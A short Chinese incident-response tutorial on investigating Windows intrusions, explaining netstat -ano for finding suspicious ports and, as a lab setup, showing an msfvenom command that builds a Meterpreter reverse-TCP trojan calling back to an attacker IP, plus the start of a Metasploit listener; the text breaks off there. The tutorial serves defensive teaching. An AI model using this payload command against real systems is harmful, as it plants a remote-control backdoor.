应急响应之Windows入侵排查

当你没有思路的时候

就先查端口

 netstat是用于显示套接字内容的命令，-ano选项表示下列意思：

a:不仅显示正在通信的套接字，还显示包括尚未开通通信等状态的所有套接字

n:显示IP地址和端口号

o:显示使用该套接字程序的PID

比如，种一个MSF的一个木马吧

生成木马：

┌──(root💀kali)-[/var/www/html]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.140 LPORT=7777 -f exe >tcp.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

开启监听

└─# msfconsole 
#打开msfconsole

可以利用侦听模块了,在msf下进入到侦听模块中 use exploit/multi/handle

<